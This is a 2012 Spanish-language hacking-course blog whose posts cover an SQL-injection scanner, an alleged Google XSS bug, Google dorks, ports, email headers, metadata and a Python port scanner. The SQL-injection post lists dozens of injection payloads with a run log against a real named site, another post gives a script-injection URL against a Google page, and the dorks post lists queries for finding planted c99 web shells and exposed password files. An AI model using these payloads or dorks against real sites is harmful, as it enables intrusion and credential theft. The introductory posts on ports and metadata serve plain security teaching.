martes, 28 de agosto de 2012

Sql Injection Tool - Bonus Topic

 Buenas.. este tema es un bonus en el curso dado que aun no hacemos sql injection, pero aqui esta..

Como usarlo.. dado que es un script CLI. en la consola ejecutamos

1. Rellenamos el archivo de inyecciones

Ejemplo.
tail -f sqli_dorks.txt
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
agregue mas inyecciones en este archivo , una por linea.

2. Rellenamos el archivo de errores.

Ejemplo
tail -f sqli_errors.txt
error mysql_error
mysql_error
Warning
mysql_fetch_array()
supplied argument
You have an error in your SQL syntax;
agregue mas errores  en este archivo , uno por linea.

3. Ejecutamos el script de sql injection discover

php gsi0.com_sqli_injection_discover.php -isqli_dorks.txt -esqli_errors.txt -t"www.jamesjara.com/?articuloid=123{inyectme}&foo=bar"

Resultado:
 [root@localhost sql-injection]# php gsi0.com_sqli_injection_discover.php -isqli_dorks.txt -esqli_errors.txt -t"www.jamesjara.com/?articuloid=123{inyectme}&foo=ba"
==== welcome gsi0.com ARMY by @jamesjara , wait.. the pentesting is starting...
<><><> - - Executing new dork #0 - [admin'--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #1 - [' or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #2 - ['" or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #3 - [' union select 1, 'Eyeless', 'ez2do', 1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #4 - [admin'--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #5 - [administrator'--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #6 - [superuser'--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #7 - [test'--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #8 - [' or 0=0 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #9 - [' or 0=0 --']
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #10 - [' or 0=0 #]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #11 - [" or 0=0 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #12 - [" or 0=0 --']
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #13 - ['" or 0=0 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #14 - [or 0=0 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #15 - [' or 0=0 #]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #16 - [" or 0=0 #]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #17 - [or 0=0 #]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #18 - [' or 'x'='x]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #19 - [" or "x"="x]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #20 - [') or ('x'='x]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #21 - [" or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #22 - [or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #23 - [' or a=a--']
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #24 - [' or a=a #]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #25 - [' or a=a--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #26 - [' or "a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #27 - [' or 'a'='a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #28 - [" or "a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #29 - [') or ('a'='a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #30 - [") or ("a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #31 - [hi" or "a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #32 - [hi" or 1=1 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #33 - [hi' or 1=1 --]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #34 - [hi' or 'a'='a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #35 - [hi') or ('a'='a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #36 - [hi") or ("a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #37 - [' or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #38 - [" or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #39 - [or 1=1--]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #40 - [' or 'a'='a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #41 - [" or "a"="a]
<><><><><> - - - - - Result: negative
<><><> - - Executing new dork #42 - [') or ('a'='a]
<><><><><> - - - - - Result: negative
========================================
==== #0 injections founded ...
==== welcome gsi0.com ARMY by @jamesjara , pentesting FINISHED ,check results.txt ...






 Bueno, gracias por su tiempo

-- James jara, @jamesjara



lunes, 27 de agosto de 2012

O-DAY Google XSS

"Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar ningún tipo de daño, directa o indirectamente"

Compartiendo un ZERO DAY BUG de google, aplicando la técnica xss


unpacked:
if (location.href.match(/alert\(['"]xss['"]\)/)) alert('excesses');
else if (location.href.match(/alert\([0-9]/)) alert(42);
else if (location.href.match(/alert\(document.domain/)) alert('127.0.0.1');
else if (location.href.match(/alert\(document.cookie/)) location.href = 'gsi0.com';

example:
https://www.google.com/appserve/security-bugs/new?rl=<script>alert(6);</script>


-- James Jara

domingo, 26 de agosto de 2012

Crees que sabes sobre Google Hacking?....

"Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar ningún tipo de daño, directa o indirectamente"

Google Hacking Diggity Project

 Este es proyecto dedicado a la investigaciòn de las tecnicas mas avanzandas por los motores de búsqueda como Google o Bing, para identificar sistemas vulnerables y información sensible utilizando parámetros avanzados de búsqueda. Como parte del proyecto Diggity Google Hacking, surge SearchDiggity en su versión mas reciente 3.0, esta es una aplicación con una agradable interfaz grafica para los sistemas operativos Windows.
  • Herramientas de ataque
    • Google Diggity: Aprovecha e Google JSON / ATOM Custom Search API, por lo que no le conseguirá bloqueado por detección robot de Google durante el escaneo. Google Hacking GoogleDiggity  le permite especificar un Google Custom Search Engine (CSE).  
    • Bing Diggity: Aprovecha el nuevo Bing 2.0 API y Stach y nuevo desarrollo de Liu Bing Database Hacking (BHDB) para encontrar vulnerabilidades y revelaciones confidenciales de información relacionados con la organización que se exponen a través del motor de búsqueda de Microsoft Bing.
    • FlashDiggity :Automatiza Google búsqueda / descarga / descompilación / análisis de los archivos SWF de Flash para identificar las vulnerabilidades y revelaciones de la información.
    • DLPDiggity. Data Lost Prevention Tool utiliza Google / Bing para identificar la exposición de información sensible 
    • MalwareDiggity: Utiliza la API Bing 2.0 y la API de navegación segura de Google para proporcionar una respuesta a una simple pregunta: "¿Estoy siendo utilizado como una plataforma para distribuir malware a las personas que visitan mi sitio web?".
    • Google CodeSearchDiggity: Utiliza google code search para identificar vulnerabilidades en los proyectos de código abierto de código alojados en Google Code, CodePlex MS, SourceForge, Github, y más. 
    • Bing LinkFromDomainDiggity: Herramienta de ataque Footprinting  que utiliza la directiva de Bing linkfrom domain  para encontrar Off-site Links.
    • PortScan Diggity: ¿Le gustaría utilizar Google para hacer su escaneo de puertos? Utilizando la funcionalidades indocumentada  dentro de Google, esta herramienta permite un análisis de puertos de red utilizando 
    • NotInMyBackYard Diggity: utiliza tanto Google como Bing, y viene con consultas pre-construidoas  que hacen que sea fácil para los usuarios encontrar las fugas de datos sensibles relativos a sus organizaciones . 
    • BingBinaryMalwareSearch (BBMS): Permite a los usuarios a dar un seguimiento y bloquear sitios web que distribuyen malware.
    • Shodan Diggity proporciona una interfaz  fácil de usar para el motor de búsqueda SHODAN , y viene equipado con una lista  de consultas de búsqueda .

--Robert Baron

viernes, 24 de agosto de 2012

¿Que son los puertos?

"Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar algún tipo de daño, directa o indirectamente"

Debido a que mucha gente a veces pregunta que es un puerto, o cual es su utilidad en el tema de seguridad informática, he decidido crear esta publicación.

¿Que es un puerto TCP/IP en términos de informática?

Es una numeración que se asigna a las conexiones, y por ende a las direcciones IP, tanto en el origen como en el destino. 

¿Para que son utilizados?

Para la transmisión de datos entre aplicaciones.


¿Un puerto puede estar abierto o cerrado?


Claro, los puertos tienen 3 posibles estados:


  • Abierto:  permite conexiones. Hay una aplicación escuchando en este puerto. Esto no quiere decir que se tenga acceso a la aplicación, sólo que hay posibilidad de conectarse.
  • Cerrado: La conexión se rechaza. Probablemente no hay aplicación escuchando en este puerto, o no se permite el acceso por alguna razón. 
  • Bloqueado o Sigiloso: no hay respuesta. Este estado es el recomendado para los usuarios que navegan en Internet ya que no se sabe si el ordenador está conectado. Este estado se puede deber a algún cortafuergos activado.
Ahora viene la parte interesante.

¿Por qué es peligroso tener un puerto abierto?

Como mencionamos anteriormente, los puertos son utilizados para que aplicaciones puedan transmitir datos. El problema es que algunas veces esas aplicaciones pueden tener algún tipo de vulnerabilidad, y al estar el puerto abierto, se tiene acceso a explotar esa vulnerabilidad.

¿Que es lo recomendable?

Tener abiertos únicamente los puertos que son necesarios para el uso de Internet o de algún servicio que estemos usando.

¿Como puedo ver cuales puertos están abiertos en mi ordenador?

Puedes visitar el siguiente link:

Y ahí mismo te dirá cuales puertos se encuentran abiertos en tu computador.

Sin más que decir por el momento, esperamos que esta publicación le haya sido de ayuda para aprender más acerca de la seguridad informática.

José Zúñiga Marín.

sábado, 11 de agosto de 2012

Cabeceras de correos electrónicos

"Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar ningún tipo de daño, directa o indirectamente"


Cabeceras de correos electrónicos

Es un método que consiste en sacar información de las cabeceras de los correos electrónicos.  Los datos que se pueden encontrar pueden ser poco servibles o muy funcionales, dependiendo de lo que se busque.

Para poder observar estos datos es necesario ver el código de fuente del mensaje recibido. Es importante mencionar que dependiendo del sistema de mensajería que utilicemos puede variar la estructura de las cabeceras.

En nuestro caso usaremos Outlook Express como ejemplo (en la próxima publicación se dará un ejemplo real). Primeramente presionamos click derecho y seleccionamos ver las propiedades o detalles.

Luego, se nos muestra una lista con varios datos. Entre ellos Antivirus,  Fecha del envío, ISP, servidores de correo, dirección IP, Nombre del ordenador, sistema operativo y cliente de correo. Y muchos otros datos importantes.

En este tutorial se explicará brevemente la funcionalidad de algunos de los datos mencionados:

Nombre del ordenador: dependiendo si tienen un nombre específico o no, puede servirnos de ayuda, es decir, si el ordenador tiene el nombre de Recursos Humanos podemos saber que el pc que envío el correo está relacionado con este departamento.

Fecha de envío: con esto podemos saber cuándo se realizó el envío del mensaje y así tener posibles opciones del horario de trabajo de la empresa.

Sistema operativo y cliente de correo: teniendo la versión de alguno de los dos sistemas mencionados, podemos realizar una búsqueda de las vulnerabilidades que poseen las versiones de los sistemas encontrados.

Estos son algunos de los datos más importantes que se pueden obtener de un correo electrónico, pero hay que recordar que no todos han sido mencionados.

Es por esto que si está interesado en el tema le recomendamos que siga las futuras publicaciones que explican con más profundidad el tema de cabeceras de correos electrónicos.

Estimado lector, esperamos que haya aprovechado esta lectura.  Gracias por visitarnos.

José Enrique Zúñiga Marín

jueves, 9 de agosto de 2012

GOOGLE DORKS



En general podriamos definir lo que es Google  Dorks como búsquedas avanzadas mediante el uso de operadores complejos que Google  pone a nuestra disposición, unos de estos operadores son los llamados OPERADORES BOOLEANOS, que son los que Google utiliza para realizar búsquedas combinadas de varios términos. Esos operadores son una serie de símbolos que Google reconoce y modifican la búsqueda realizada.Además de los operadores booleanos, existen otra serie de palabras clave que se pueden utilizar para realizar "búsquedas diferentes" con Google

El objetivo principal del uso de los Dorks de Google es que mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.


 "Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar ningún tipo de daño, directa o indirectamente"


Dorks para búsqueda de shells
inurl:c99.php
inurl:c99.php uid=0(root)
root c99.php
inurl:c99.php
allinurl: c99.php
inurl:c99.php
inurl:”c99.php” c99shell
inurl:c99.php uid=0(root)
inurl:”/c99.php”

Dorks para contraseñas
Filetype: htpasswd htpasswd
Intitle:”Index of” “.htpasswd” -intitle:”dist” -apache -htpasswd.c
index.of.private (algo privado)
Intitle:index.of master.passwd
inurlasslist.txt (Para encontrar listas de passwords)
intitle:”Index of..etc” passwd
intitle:admin intitle:login
“Incorrect syntax near” (SQL script error)
intitle:”the page cannot be found” inetmgr (debilidad en IIS4)
intitle:index.of ws_ftp.ini
“A supplied argument is not a valid PostgreSQL result” (possible debilidad SQL)
_vti_pvt password intitle:index.of (Frontpage)
inurl:backup intitle:index.of inurl:admin
“Index of /backup”
index.of.password
index.of.winnt






Gsicr-scanner.py

"Toda la información proporcionada son para fines educativos.En ningún caso alguno se hace responsable de cualquier mal uso de la información.Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar ningún tipo de daño, directa o indirectamente"

 Gsicr-scanner es una herramienta desarrollada en python para un escaneo simple de puertos, esto con el fin de entender a traves de codigo fuente como funcionan las herramientas de escaneo de red como nmap, esta herramienta intenta realizar una conexion a un host en determinados puertos, si obtiene una conexion exitosa nos indica que el puerto esta abierto, en caso contrario podemos obtener que el puerto esta cerrado o filtrado.

Opciones

-v {True,False}: En caso de estar activado incrementa la informacion que nos muestra el script sobre sus acciones.

-a {IP,Host}: Indica el host a realizar el escaneo

-p {Port}: Numero de puerto

-t {Segs}: Timeout para las conexiones.

-n {True}: Intenta obtener el nombre de la maquina remota.

Uso:

python gsicr-scanner.py -a [host] [options]

Ejemplo: python gsicr-scanner.py -a 74.207.244.211 -n True -t 3
**Esta IP corresponde al sitio scanme.nmap.org

Source Code: http://code.google.com/p/gsicr/source/browse/gsicr-scanner.py

--Robert Baron

viernes, 3 de agosto de 2012

¿Que son los metadatos?

Toda la información son para el desarrollo de la Hacker Defensa entre los usuarios y ayudar a prevenir los ataques de hackers. GSICR insiste en que esta información NO debe ser utilizada para causar algún tipo de daño, directa o indirectamente"


¿Que son los metadatos?


Son datos sobre datos que describen ciertas características de un documento, en algunos casos permitiendo encontrar, controlar y entender su función.


¿Que información se almacena en los metadatos?


Autor, el sistema operativo que se utilizó para crear el documento, fecha de creación y modificación del mismo, programa con el que ha sido creado, el título original del documento o también palabras clave que hayamos introducido en los metadatos.


¿Es importante eliminar los metadatos?


La respuesta puede variar dependiendo si los documentos que se estén generando provienen de un computador que posee datos privados o no. Si es así, los metadatos pueden contener información comprometedora tanto del computador como del autor del documento, y otra información que dependiendo del caso puede ser útil o no.


¿Como elimino los metadatos de mis documentos?


Una de las mejores maneras es utilizar un software especializado en esta tarea, en las siguientes publicaciones se colocará un tutorial acerca de como utilizar el Doc Scrubber.
Muchas gracias por leer nuestras publicaciones.
José Zúñiga.